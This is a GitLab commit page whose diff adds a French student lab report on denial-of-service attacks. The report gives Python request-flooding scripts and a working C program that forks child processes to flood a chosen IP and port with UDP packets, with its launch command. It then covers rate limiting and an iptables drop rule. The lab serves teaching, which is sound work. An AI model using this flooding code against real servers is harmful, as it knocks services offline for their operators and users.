Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
J
journal_labo
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
ISC2
netsec
journal_labo
Commits
2b40eec5
Commit
2b40eec5
authored
1 year ago
by
iliya
Browse files
Options
Downloads
Patches
Plain Diff
feat: dos lab finished
parent
1b857fb5
No related branches found
No related tags found
No related merge requests found
Changes
1
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
content/02_dos.md
+169
-1
169 additions, 1 deletion
content/02_dos.md
with
169 additions
and
1 deletion
content/02_dos.md
+
169
−
1
View file @
2b40eec5
...
...
@@ -5,11 +5,11 @@
## Préparation du serveur
Ci-dessous se trouve la commande pour lancer un serveur HTTP en
`python`
```
bash
sudo
python3
-m
http.server <numéro_de_port>
```
## Programmation du script d'attaque
### Commencer par essayer d’envoyer une requête toute simple sur la machine Serveur. Quelle est la librairie requise ?
...
...
@@ -36,3 +36,171 @@ while True:
r
=
requests
.
get
(
url
=
URL
,
params
=
PARAMS
)
print
(
f
"
Req:
{
r
}
"
)
```
## Envoyer un grand nombre de requêtes
### Version multi-threadée
A nouveau, malheureusement, cette version ne nous a pas permis de faire tomber
le serveur pour des raisons qui nous sont inconnus, cependant nous suspectons
le
**GIL**
(_Global Interpreter Lock_) de
`python`
de nous empêcher de réellement
"paralléliser" l'envoie des requêtes vers le serveur. Le
**GIL**
agit comme un
verrou sur chaque thread même s'il n'y aucune ressource partagée ce qui va provoquer
une exécution séquentielle des envoies de requêtes.
```
python
import
requests
from
threading
import
Thread
URL
=
"
http://192.168.1.121:8080
"
def
send_req
():
while
True
:
r
=
requests
.
get
(
url
=
URL
)
print
(
f
"
Request status code =
{
r
.
status_code
}
"
)
if
__name__
==
"
__main__
"
:
list_threads
=
[]
for
i
in
range
(
500_000
):
list_threads
.
append
(
Thread
(
target
=
send_req
))
for
thread
in
list_threads
:
thread
.
start
()
```
### Implémentation en `C`
Après une énorme quantité de diverses tentatives de faire fonctionner cette attaque
en utilisant
`python`
, nous nous sommes tournés vers une implémentation en
`C`
.
En résumé, notre exécutable
`./dos`
demande à l'utilisateur l'IP de la victime,
le port vers lequel nous souhaitons nous connecter ainsi que la quantité de
processus enfant que nous souhaitons créer. Par la suite, nous établissons une
connexion
**UDP**
où chaque processus enfant va envoyer pendant une durée
indéterminée des requêtes vers le serveur jusqu'à ce que celui-ci tombe. Cette
implémentation a fini par fonctionner.
```
c
#include
<arpa/inet.h>
#include
<libgen.h>
#include
<netinet/in.h>
#include
<stdbool.h>
#include
<stdint.h>
#include
<stdio.h>
#include
<stdlib.h>
#include
<string.h>
#include
<sys/socket.h>
#include
<sys/wait.h>
#include
<unistd.h>
int
main
(
int
argc
,
char
*
argv
[])
{
if
(
argc
!=
4
)
{
fprintf
(
stderr
,
"Usage :
\n
"
);
fprintf
(
stderr
,
"
\t
./%s <IP addr> <port number> <nb child processes>
\n
"
,
basename
(
argv
[
0
]));
exit
(
EXIT_FAILURE
);
}
char
*
addr_arg
=
argv
[
1
];
uint16_t
port_number
=
atoi
(
argv
[
2
]);
int
nb_child_processes
=
atoi
(
argv
[
3
]);
struct
sockaddr_in
addr
=
{
0
};
if
(
inet_pton
(
AF_INET
,
addr_arg
,
&
addr
.
sin_addr
)
==
-
1
)
{
perror
(
"inet_pton"
);
exit
(
EXIT_FAILURE
);
}
addr
.
sin_family
=
AF_INET
;
addr
.
sin_port
=
htons
(
port_number
);
for
(
int
i
=
0
;
i
<
nb_child_processes
;
i
++
)
{
pid_t
pid
=
fork
();
if
(
pid
==
0
)
{
char
req_buf
[
256
]
=
{
0
};
char
*
req_templ
=
"GET / HTTP/1.1
\r\n
"
"Host: %s
\r\n
"
"Connection: close
\r\n\r\n
"
;
snprintf
(
req_buf
,
255
,
req_templ
,
addr_arg
);
int
sock
=
socket
(
AF_INET
,
SOCK_DGRAM
,
0
);
if
(
sock
==
-
1
)
{
perror
(
"socket"
);
close
(
sock
);
exit
(
EXIT_FAILURE
);
}
if
(
connect
(
sock
,
(
const
struct
sockaddr
*
)
&
addr
,
sizeof
(
addr
))
==
-
1
)
{
perror
(
"connect"
);
close
(
sock
);
exit
(
EXIT_FAILURE
);
}
while
(
true
)
{
if
(
sendto
(
sock
,
req_buf
,
strlen
(
req_buf
),
0
,
(
const
struct
sockaddr
*
)
&
addr
,
sizeof
(
addr
))
==
-
1
)
{
perror
(
"write"
);
close
(
sock
);
exit
(
EXIT_FAILURE
);
}
}
}
}
for
(
int
i
=
0
;
i
<
nb_child_processes
;
i
++
)
{
wait
(
NULL
);
}
return
EXIT_SUCCESS
;
}
```
## Lancement de l'attaque
Pour exécuter l'attaque, il suffit d'exécuter le programme
`dos`
en lui passant
les arguments nécéssaires.
```
bash
./dos <IP addr> <port number> <nb child processes>
```
## Protection contre le déni de service
### Quelles sont les protections utilisées à l’heure actuelle pour contrer un déni de service ?
À l'heure actuelle la protéction la plus répandue est de mettre en place un
"_rate limiter_" qui contrôle la quantité de requêtes que le serveur peut recevoir.
Si la quantité maximale autorisée de requêtes a été dépasée, ces dernières seront
rejetées / ignorées.
### Utilisation de `iptables`
Pour notre cas d'utilisation, nous avons du modifier la ligne de commande
proposée dans l'énoncé pour que celle-ci fonctionne dans le cas de notre attaque.
Les divers paramètres passés à
`iptables`
sont :
-
`-I INPUT`
signifiant que nous allons surveiller le trafic entrant
-
`-p udp`
spécifie le protocole utilisé (UDP)
-
`--dport 8080`
port sur lequel nous voulons effectuer ce "filtrage"
-
`-m recent --update --seconds --hitcount 4`
ces paramètres permettent de "monitorer"
les connexions effectuées pendant les 60 dernières secondes et s'il y a eu 4 connexions
venant de la même source durant les 60 dernières secondes, une action sera déclenchée.
-
`--rsource`
signifie que les règles de suivi des connexions récentes doivent
être appliquées en tenant compte de l'adresse source des paquets.
-
`-j DROP`
l'action qu'on attribue au paramètre défini précédemment, c'est-à-dire
faire "tomber" / ignoré les paquets (ne pas les traiter).
```
bash
iptables
-I
INPUT
-p
udp
--dport
8080
-m
recent
--update
--seconds
60
--hitcount
4
--rsource
-j
DROP
```
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment